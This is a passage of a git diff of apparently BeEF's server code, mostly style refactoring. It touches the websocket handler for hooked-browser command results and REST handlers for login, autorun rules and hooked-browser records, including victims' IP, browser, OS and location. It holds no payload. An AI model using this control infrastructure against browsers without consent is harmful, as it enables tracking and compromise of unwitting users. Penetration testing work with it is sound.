!@@activeSocket[session].nil? end @@ -207,7 +201,7 @@ def getsocket (session) # @param [String] fn the module to execute # @param [String] session the hooked browser session # - def send (fn, session) + def send(fn, session) @@activeSocket[session].send(fn) end @@ -228,27 +222,25 @@ def send (fn, session) # "jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"} # => {"handler"=>"/command/test_beef_debug.js", "cid"=>"1", "result"=>"InJlc3VsdD1jYWxsZWQgdGhlIGJlZWYuZGVidWcoKSBmdW5jdGlvbi4gQ2hlY2sgdGhlIGRldmVsb3BlciBjb25zb2xlIGZvciB5b3VyIGRlYnVnIG1lc3NhZ2UuIg==", "status"=>"undefined", "callback"=>"undefined", "bh"=>"jkERa2PIdTtwnwxheXiiGZsm4ukfAD6o84LpgcJBW0g7S8fIh0Uq1yUZxnC0Cr163FxPWCpPN3uOVyPZ"} # - def execute (data) - if @@debug - print_debug data.inspect - end + def execute(data) + print_debug data.inspect if @@debug hooked_browser = data['bh'] unless BeEF::Filters.is_valid_hook_session_id?(hooked_browser) - print_error "[Websocket] BeEF hook is invalid" + print_error '[Websocket] BeEF hook is invalid' return end command_id = data['cid'].to_s - unless BeEF::Filters::nums_only?(command_id) - print_error "[Websocket] command_id is invalid" + unless BeEF::Filters.nums_only?(command_id) + print_error '[Websocket] command_id is invalid' return end command_id = command_id.to_i handler = data['handler'] if handler.to_s.strip == '' - print_error "[Websocket] handler is invalid" + print_error '[Websocket] handler is invalid' return end @@ -260,20 +252,20 @@ def execute (data) when '2' status = 2 else - print_error "[Websocket] command status is invalid" + print_error '[Websocket] command status is invalid' return end command_results = {} command_results['data'] = JSON.parse(Base64.decode64(data['result']).force_encoding('UTF-8')) - + if command_results.empty? - print_error "[Websocket] command results are empty" + print_error '[Websocket] command results are empty' return end - command_mod = "beef.module.#{handler.gsub('/command/','').gsub('.js','')}" + command_mod = "beef.module.#{handler.gsub('/command/', '').gsub('.js', '')}" command_name = @@config.get("#{command_mod}.class") # process results from command module @@ -289,9 +281,7 @@ def execute (data) nil ) - if command_obj.respond_to?(:post_execute) - command_obj.post_execute - end + command_obj.post_execute if command_obj.respond_to?(:post_execute) BeEF::Core::Models::Command.save_result( hooked_browser, @@ -301,18 +291,18 @@ def execute (data) status ) else # processing results from extensions, call the right handler - data["beefhook"] = hooked_browser - data["results"] = command_results['data'] + data['beefhook'] = hooked_browser + data['results'] = command_results['data'] if MOUNTS.has_key?(handler) - if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2 + if MOUNTS[handler].instance_of?(Array) and MOUNTS[handler].length == 2 MOUNTS[handler][0].new(data, MOUNTS[handler][1]) else MOUNTS[handler].new(data) end end end - rescue => e + rescue StandardError => e print_error "Error in BeEF::Core::Websocket: #{e.message}" raise e end diff --git a/core/main/rest/api.rb b/core/main/rest/api.rb index 61cc4eb01a..8481029275 100644 --- a/core/main/rest/api.rb +++ b/core/main/rest/api.rb @@ -6,7 +6,6 @@ module BeEF module Core module Rest - module RegisterHooksHandler def self.mount_handler(server) server.mount('/api/hooks', BeEF::Core::Rest::HookedBrowsers.new) @@ -64,24 +63,23 @@ def self.mount_handler(server) BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterServerHandler, BeEF::API::Server, 'mount_handler') BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAutorunHandler, BeEF::API::Server, 'mount_handler') - # # Check the source IP is within the permitted subnet # This is from extensions/admin_ui/controllers/authentication/authentication.rb # def self.permitted_source?(ip) # test if supplied IP address is valid - return false unless BeEF::Filters::is_valid_ip?(ip) + return false unless BeEF::Filters.is_valid_ip?(ip) # get permitted subnets - permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet") - return false if permitted_ui_subnet.nil? - return false if permitted_ui_subnet.empty? + permitted_ui_subnet = BeEF::Core::Configuration.instance.get('beef.restrictions.permitted_ui_subnet') + return false if permitted_ui_subnet.nil? + return false if permitted_ui_subnet.empty? # test if ip within subnets - permitted_ui_subnet.each do |subnet| + permitted_ui_subnet.each do |subnet| return true if IPAddr.new(subnet).include?(ip) - end + end false end @@ -100,18 +98,17 @@ def self.permitted_source?(ip) # @return def self.timeout?(config_delay_id, last_time_attempt, time_record_set_fn) success = true - time = Time.now() + time = Time.now config = BeEF::Core::Configuration.instance fail_delay = config.get(config_delay_id) - if (time - last_time_attempt < fail_delay.to_f) + if time - last_time_attempt < fail_delay.to_f time_record_set_fn.call(time) success = false end success end - end end end diff --git a/core/main/rest/handlers/admin.rb b/core/main/rest/handlers/admin.rb index dde2355e6d..46f896cc65 100644 --- a/core/main/rest/handlers/admin.rb +++ b/core/main/rest/handlers/admin.rb @@ -8,20 +8,19 @@ module BeEF module Core module Rest class Admin < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance time_since_last_failed_auth = 0 - before do + # @todo: this code comment is a lie. why is it here? # error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) - # halt if requests are inside beef.restrictions.api_attempt_delay - if time_since_last_failed_auth != 0 - halt 401 if not BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay', - time_since_last_failed_auth, - lambda { |time| time_since_last_failed_auth = time}) + # halt if requests are inside beef.restrictions.api_attempt_delay + if time_since_last_failed_auth != 0 && !BeEF::Core::Rest.timeout?('beef.restrictions.api_attempt_delay', + time_since_last_failed_auth, + ->(time) { time_since_last_failed_auth = time }) + halt 401 end headers 'Content-Type' => 'application/json; charset=UTF-8', @@ -36,44 +35,37 @@ class Admin < BeEF::Core::Router::Router # Input must be specified in JSON format # # +++ Example: +++ - #POST /api/admin/login HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 18 + # POST /api/admin/login HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 18 # - #{"username":"beef", "password":"beef"} + # {"username":"beef", "password":"beef"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","token":"122323121"} + # {"success":"true","token":"122323121"} # post '/login' do request.body.rewind begin data = JSON.parse request.body.read - # check username and password - if not (data['username'].eql? config.get('beef.credentials.user') and data['password'].eql? config.get('beef.credentials.passwd') ) - if not data['password'].eql? "broken_pass" - BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.") - end - - # failed attempts - time_since_last_failed_auth = Time.now() - halt 401 - else - { "success" => true, - "token" => "#{config.get('beef.api_token')}" + if data['username'].eql?(config.get('beef.credentials.user')) && data['password'].eql?(config.get('beef.credentials.passwd')) + return { + 'success' => true, + 'token' => config.get('beef.api_token').to_s }.to_json end - rescue => e + + BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.") + time_since_last_failed_auth = Time.now + halt 401 + rescue StandardError error 400 end end - - private - end end end diff --git a/core/main/rest/handlers/autorun_engine.rb b/core/main/rest/handlers/autorun_engine.rb index c299a67e35..f59742ad18 100644 --- a/core/main/rest/handlers/autorun_engine.rb +++ b/core/main/rest/handlers/autorun_engine.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class AutorunEngine < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -27,7 +26,7 @@ class AutorunEngine < BeEF::Core::Router::Router data = JSON.parse request.body.read rloader = BeEF::Core::AutorunEngine::RuleLoader.instance rloader.load(data).to_json - rescue => e + rescue StandardError => e err = 'Malformed JSON ruleset.' print_error "[ARE] ERROR: #{e.message}" { 'success' => false, 'error' => err }.to_json @@ -36,96 +35,90 @@ class AutorunEngine < BeEF::Core::Router::Router # Delete a ruleset get '/rule/delete/:rule_id' do - begin - rule_id = params[:rule_id] - rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id) - rule.destroy - { 'success' => true}.to_json - rescue => e - err = 'Error getting rule.' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json - end + rule_id = params[:rule_id] + rule = BeEF::Core::AutorunEngine::Models::Rule.find(rule_id) + rule.destroy + { 'success' => true }.to_json + rescue StandardError => e + err = 'Error getting rule.' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end # Trigger a specified rule_id on online hooked browsers. Offline hooked browsers are ignored get '/rule/trigger/:rule_id' do - begin - rule_id = params[:rule_id] + rule_id = params[:rule_id] - online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) - are = BeEF::Core::AutorunEngine::Engine.instance + online_hooks = BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15)) + are = BeEF::Core::AutorunEngine::Engine.instance - if online_hooks != nil - online_hooks.each do |hb| - hb_details = BeEF::Core::Models::BrowserDetails - browser_name = hb_details.get(hb.session, 'browser.name') - browser_version = hb_details.get(hb.session, 'browser.version') - os_name = hb_details.get(hb.session, 'host.os.name') - os_version = hb_details.get(hb.session, 'host.os.version') + if online_hooks.nil? + { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json + else + online_hooks.each do |hb| + hb_details = BeEF::Core::Models::BrowserDetails + browser_name = hb_details.get(hb.session, 'browser.name') + browser_version = hb_details.get(hb.session, 'browser.version') + os_name = hb_details.get(hb.session, 'host.os.name') + os_version = hb_details.get(hb.session, 'host.os.version') - match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id) - are.trigger(match_rules, hb.id) if match_rules.length > 0 - end - { 'success' => true }.to_json - else - { 'success' => false, 'error' => 'There are currently no hooked browsers online.' }.to_json + match_rules = are.match(browser_name, browser_version, os_name, os_version, rule_id) + are.trigger(match_rules, hb.id) if match_rules.length > 0 end - rescue => e - err = 'Malformed JSON ruleset.' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json + { 'success' => true }.to_json end + rescue StandardError => e + err = 'Malformed JSON ruleset.' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end # Delete a ruleset get '/rule/list/:rule_id' do - begin - rule_id = params[:rule_id] - if rule_id == 'all' - result = Array.new - rules = BeEF::Core::AutorunEngine::Models::Rule.all - rules.each do |rule| - { - 'id' => rule.id, - 'name'=> rule.name, - 'author'=> rule.author, - 'browser'=> rule.browser, - 'browser_version'=> rule.browser_version, - 'os'=> rule.os, - 'os_version'=> rule.os_version, - 'modules'=> rule.modules, - 'execution_order'=> rule.execution_order, - 'execution_delay'=> rule.execution_delay, - 'chain_mode'=> rule.chain_mode - } - result.push rule - end - else - result = nil - rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id) - if rule != nil - result = { - 'id' => rule.id, - 'name'=> rule.name, - 'author'=> rule.author, - 'browser'=> rule.browser, - 'browser_version'=> rule.browser_version, - 'os'=> rule.os, - 'os_version'=> rule.os_version, - 'modules'=> rule.modules, - 'execution_order'=> rule.execution_order, - 'execution_delay'=> rule.execution_delay, - 'chain_mode'=> rule.chain_mode - } - end + rule_id = params[:rule_id] + if rule_id == 'all' + result = [] + rules = BeEF::Core::AutorunEngine::Models::Rule.all + rules.each do |rule| + { + 'id' => rule.id, + 'name' => rule.name, + 'author' => rule.author, + 'browser' => rule.browser, + 'browser_version' => rule.browser_version, + 'os' => rule.os, + 'os_version' => rule.os_version, + 'modules' => rule.modules, + 'execution_order' => rule.execution_order, + 'execution_delay' => rule.execution_delay, + 'chain_mode' => rule.chain_mode + } + result.push rule + end + else + result = nil + rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id) + unless rule.nil? + result = { + 'id' => rule.id, + 'name' => rule.name, + 'author' => rule.author, + 'browser' => rule.browser, + 'browser_version' => rule.browser_version, + 'os' => rule.os, + 'os_version' => rule.os_version, + 'modules' => rule.modules, + 'execution_order' => rule.execution_order, + 'execution_delay' => rule.execution_delay, + 'chain_mode' => rule.chain_mode + } end - { 'success' => true, 'rules' => result}.to_json - rescue => e - err = 'Error getting rule(s)' - print_error "[ARE] ERROR: #{e.message}" - { 'success' => false, 'error' => err }.to_json end + { 'success' => true, 'rules' => result }.to_json + rescue StandardError => e + err = 'Error getting rule(s)' + print_error "[ARE] ERROR: #{e.message}" + { 'success' => false, 'error' => err }.to_json end end end diff --git a/core/main/rest/handlers/browserdetails.rb b/core/main/rest/handlers/browserdetails.rb index c06394249a..e9be1bbdb0 100644 --- a/core/main/rest/handlers/browserdetails.rb +++ b/core/main/rest/handlers/browserdetails.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class BrowserDetails < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -24,15 +23,15 @@ class BrowserDetails < BeEF::Core::Router::Router # @note Get all browser details for the specified session # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first error 404 if hb.nil? - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) error 404 if details.nil? result = [] details.each do |d| - result << {key: d[:detail_key], value: d[:detail_value] } + result << { key: d[:detail_key], value: d[:detail_value] } end output = { diff --git a/core/main/rest/handlers/categories.rb b/core/main/rest/handlers/categories.rb index 403b79d062..864fe718bc 100644 --- a/core/main/rest/handlers/categories.rb +++ b/core/main/rest/handlers/categories.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Categories < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -21,19 +20,18 @@ class Categories < BeEF::Core::Router::Router end get '/' do - categories = BeEF::Modules::get_categories - cats = Array.new - i = 0 - # todo add sub-categories support! - categories.each do |category| - cat = {"id" => i, "name" => category} - cats << cat - i += 1 - end - cats.to_json + categories = BeEF::Modules.get_categories + cats = [] + i = 0 + # TODO: add sub-categories support! + categories.each do |category| + cat = { 'id' => i, 'name' => category } + cats << cat + i += 1 + end + cats.to_json end - end end end -end \ No newline at end of file +end diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 91f5a59eb2..03fc76c8bb 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class HookedBrowsers < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -37,50 +36,51 @@ class HookedBrowsers < BeEF::Core::Router::Router end output = { - 'hooked-browsers' => { - 'online' => online_hooks, - 'offline' => offline_hooks - } + 'hooked-browsers' => { + 'online' => online_hooks, + 'offline' => offline_hooks + } } output.to_json end - get '/:session/delete' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil - - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) - details.destroy_all + get '/:session/delete' do + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id) - logs.destroy_all + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) + details.destroy_all - commands = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id) - commands.destroy_all + logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id) + logs.destroy_all - results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id) - results.destroy_all + commands = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id) + commands.destroy_all - begin - requester = BeEF::Core::Models::Http.where(:hooked_browser_id => hb.id) - requester.destroy_all - rescue => e - #the requester module may not be enabled - end + results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id) + results.destroy_all - begin - xssraysscans = BeEF::Core::Models::Xssraysscan.where(:hooked_browser_id => hb.id) - xssraysscans.destroy_all + begin + requester = BeEF::Core::Models::Http.where(hooked_browser_id: hb.id) + requester.destroy_all + rescue StandardError + # @todo why is this error swallowed? + # the requester module may not be enabled + end - xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(:hooked_browser_id => hb.id) - xssraysdetails.destroy_all - rescue => e - #the xssraysscan module may not be enabled - end + begin + xssraysscans = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id) + xssraysscans.destroy_all - hb.destroy - end + xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(hooked_browser_id: hb.id) + xssraysdetails.destroy_all + rescue StandardError => e + # @todo why is this error swallowed? + # the xssraysscan module may not be enabled + end + hb.destroy + end # # @note returns all zombies @@ -99,7 +99,6 @@ class HookedBrowsers < BeEF::Core::Router::Router output.to_json end - # # @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects. # Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy @@ -108,7 +107,7 @@ class HookedBrowsers < BeEF::Core::Router::Router online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen >= ?', (Time.new.to_i - 15))) output = { - 'aaData' => online_hooks + 'aaData' => online_hooks } output.to_json end @@ -121,7 +120,7 @@ class HookedBrowsers < BeEF::Core::Router::Router offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.where('lastseen <= ?', (Time.new.to_i - 15))) output = { - 'aaData' => offline_hooks + 'aaData' => offline_hooks } output.to_json end @@ -130,10 +129,10 @@ class HookedBrowsers < BeEF::Core::Router::Router # @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies) # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - details = BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session) + details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session) result = {} details.each do |property| result[property.detail_key] = property.detail_value @@ -149,28 +148,28 @@ class HookedBrowsers < BeEF::Core::Router::Router os_version = body['os_version'] arch = body['arch'] - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.name').destroy - BeEF::Core::Models::BrowserDetails.where(:session_id => hb.session, :detail_key => 'host.os.version').destroy - #BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy + BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.name').destroy + BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.version').destroy + # BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.name', :detail_value => os) - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'host.os.version', :detail_value => os_version) - BeEF::Core::Models::BrowserDetails.create(:session_id => hb.session, :detail_key => 'Arch', :detail_value => arch) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.name', detail_value: os) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.version', detail_value: os_version) + BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'Arch', detail_value: arch) - # TODO if there where any ARE rules defined for this hooked browser, + # TODO: if there where any ARE rules defined for this hooked browser, # after updating OS/arch, force a retrigger of the rule. - {'success' => true}.to_json + { 'success' => true }.to_json end def hb_to_json(hbs) hbs_hash = {} i = 0 hbs.each do |hb| - hbs_hash[i] = (get_hb_details(hb)) - i+=1 + hbs_hash[i] = get_hb_details(hb) + i += 1 end hbs_hash end @@ -179,24 +178,24 @@ def get_hb_details(hb) details = BeEF::Core::Models::BrowserDetails { - 'id' => hb.id, - 'session' => hb.session, - 'name' => details.get(hb.session, 'browser.name'), - 'version' => details.get(hb.session, 'browser.version'), - 'platform' => details.get(hb.session, 'browser.platform'), - 'os' => details.get(hb.session, 'host.os.name'), - 'os_version' => details.get(hb.session, 'host.os.version'), - 'hardware' => details.get(hb.session, 'hardware.type'), - 'ip' => hb.ip, - 'domain' => details.get(hb.session, 'browser.window.hostname'), - 'port' => hb.port.to_s, - 'page_uri' => details.get(hb.session, 'browser.window.uri'), - 'firstseen' => hb.firstseen, - 'lastseen' => hb.lastseen, - 'date_stamp' => details.get(hb.session, 'browser.date.datestamp'), - 'city' => details.get(hb.session, 'location.city'), - 'country' => details.get(hb.session, 'location.country'), - 'country_code' => details.get(hb.session, 'location.country.isocode'), + 'id' => hb.id, + 'session' => hb.session, + 'name' => details.get(hb.session, 'browser.name'), + 'version' => details.get(hb.session, 'browser.version'), + 'platform' => details.get(hb.session, 'browser.platform'), + 'os' => details.get(hb.session, 'host.os.name'), + 'os_version' => details.get(hb.session, 'host.os.version'), + 'hardware' => details.get(hb.session, 'hardware.type'), + 'ip' => hb.ip, + 'domain' => details.get(hb.session, 'browser.window.hostname'), + 'port' => hb.port.to_s, + 'page_uri' => details.get(hb.session, 'browser.window.uri'), + 'firstseen' => hb.firstseen, + 'lastseen' => hb.lastseen, + 'date_stamp' => details.get(hb.session, 'browser.date.datestamp'), + 'city' => details.get(hb.session, 'location.city'), + 'country' => details.get(hb.session, 'location.country'), + 'country_code' => details.get(hb.session, 'location.country.isocode') } end @@ -205,32 +204,32 @@ def hbs_to_array(hbs) hooked_browsers = [] hbs.each do |hb| details = BeEF::Core::Models::BrowserDetails - # TODO jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank + # @todo what does the below TODO comment mean? why do we care about the client side view inside a controller? + # TODO: jQuery.dataTables needs fixed array indexes, add emptry string if a value is blank - pfuid = details.get(hb.session, 'PhishingFrenzyUID') != nil ? details.get(hb.session, 'PhishingFrenzyUID') : 'n/a' - bname = details.get(hb.session, 'browser.name') != nil ? details.get(hb.session, 'browser.name') : 'n/a' - bversion = details.get(hb.session, 'browser.version') != nil ? details.get(hb.session, 'browser.version') : 'n/a' - bplugins = details.get(hb.session, 'browser.plugins') != nil ? details.get(hb.session, 'browser.plugins') : 'n/a' + pfuid = details.get(hb.session, 'PhishingFrenzyUID').nil? ? 'n/a' : details.get(hb.session, 'PhishingFrenzyUID') + bname = details.get(hb.session, 'browser.name').nil? ? 'n/a' : details.get(hb.session, 'browser.name') + bversion = details.get(hb.session, 'browser.version').nil? ? 'n/a' : details.get(hb.session, 'browser.version') + bplugins = details.get(hb.session, 'browser.plugins').nil? ? 'n/a' : details.get(hb.session, 'browser.plugins') hooked_browsers << [ - hb.id, - hb.ip, - pfuid, - bname, - bversion, - details.get(hb.session, 'host.os.name'), - details.get(hb.session, 'browser.platform'), - details.get(hb.session, 'browser.language'), - bplugins, - details.get(hb.session, 'location.city'), - details.get(hb.session, 'location.country'), - details.get(hb.session, 'location.latitude'), - details.get(hb.session, 'location.longitude') + hb.id, + hb.ip, + pfuid, + bname, + bversion, + details.get(hb.session, 'host.os.name'), + details.get(hb.session, 'browser.platform'), + details.get(hb.session, 'browser.language'), + bplugins, + details.get(hb.session, 'location.city'), + details.get(hb.session, 'location.country'), + details.get(hb.session, 'location.latitude'), + details.get(hb.session, 'location.longitude') ] end hooked_browsers end - end end end diff --git a/core/main/rest/handlers/logs.rb b/core/main/rest/handlers/logs.rb index 740400dd2e..da05e0b164 100644 --- a/core/main/rest/handlers/logs.rb +++ b/core/main/rest/handlers/logs.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Logs < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -33,10 +32,10 @@ class Logs < BeEF::Core::Router::Router # get '/rss' do logs = BeEF::Core::Models::Log.all - headers 'Content-Type' => 'text/xml; charset=UTF-8', - 'Pragma' => 'no-cache', + headers 'Content-Type' => 'text/xml; charset=UTF-8', + 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', - 'Expires' => '0' + 'Expires' => '0' logs_to_rss logs end @@ -44,10 +43,10 @@ class Logs < BeEF::Core::Router::Router # @note Get hooked browser logs # get '/:session' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? - logs = BeEF::Core::Models::Log.where(:hooked_browser_id => hb.id) + logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id) logs_to_json(logs) end @@ -59,19 +58,20 @@ def logs_to_json(logs) logs.each do |log| logs_json << { - 'id' => log.id.to_i, - 'date' => log.date.to_s, - 'event' => log.event.to_s, - 'logtype' => log.logtype.to_s, - 'hooked_browser_id' => log.hooked_browser_id.to_s + 'id' => log.id.to_i, + 'date' => log.date.to_s, + 'event' => log.event.to_s, + 'logtype' => log.logtype.to_s, + 'hooked_browser_id' => log.hooked_browser_id.to_s } end - { + unless logs_json.empty? + { 'logs_count' => count, 'logs' => logs_json - }.to_json if not logs_json.empty? - + }.to_json + end end def logs_to_rss(logs) @@ -91,7 +91,6 @@ def logs_to_rss(logs) end rss.to_s end - end end end diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 5ddc0320c0..cd215e3c5d 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -8,12 +8,11 @@ module BeEF module Core module Rest class Modules < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -30,24 +29,23 @@ class Modules < BeEF::Core::Router::Router i = 0 mods.each do |mod| modk = BeEF::Module.get_key_by_database_id(mod.id) - next if !BeEF::Module.is_enabled(modk) + next unless BeEF::Module.is_enabled(modk) + mods_hash[i] = { - 'id' => mod.id, - 'class' => config.get("beef.module.#{modk}.class"), - 'name' => config.get("beef.module.#{modk}.name"), - 'category' => config.get("beef.module.#{modk}.category") + 'id' => mod.id, + 'class' => config.get("beef.module.#{modk}.class"), + 'name' => config.get("beef.module.#{modk}.name"), + 'category' => config.get("beef.module.#{modk}.category") } - i+=1 + i += 1 end mods_hash.to_json end get '/search/:mod_name' do - mod = BeEF::Core::Models::CommandModule.where(:name => params[:mod_name]).first + mod = BeEF::Core::Models::CommandModule.where(name: params[:mod_name]).first result = {} - if mod != nil - result = {'id' => mod.id} - end + result = { 'id' => mod.id } unless mod.nil? result.to_json end @@ -56,47 +54,47 @@ class Modules < BeEF::Core::Router::Router # get '/:mod_id' do cmd = BeEF::Core::Models::CommandModule.find(params[:mod_id]) - error 404 unless cmd != nil + error 404 if cmd.nil? modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) - error 404 unless modk != nil + error 404 if modk.nil? - #todo check if it's possible to also retrieve the TARGETS supported + # TODO: check if it's possible to also retrieve the TARGETS supported { - 'name' => cmd.name, - 'description' => config.get("beef.module.#{cmd.name}.description"), - 'category'=> config.get("beef.module.#{cmd.name}.category"), - 'options' => BeEF::Module.get_options(modk) #todo => get also payload options..get_payload_options(modk,text) + 'name' => cmd.name, + 'description' => config.get("beef.module.#{cmd.name}.description"), + 'category' => config.get("beef.module.#{cmd.name}.category"), + 'options' => BeEF::Module.get_options(modk) # TODO: => get also payload options..get_payload_options(modk,text) }.to_json end # @note Get the module result for the specific executed command # # Example with the Alert Dialog - #GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1 - #Host: 127.0.0.1:3000 + # GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 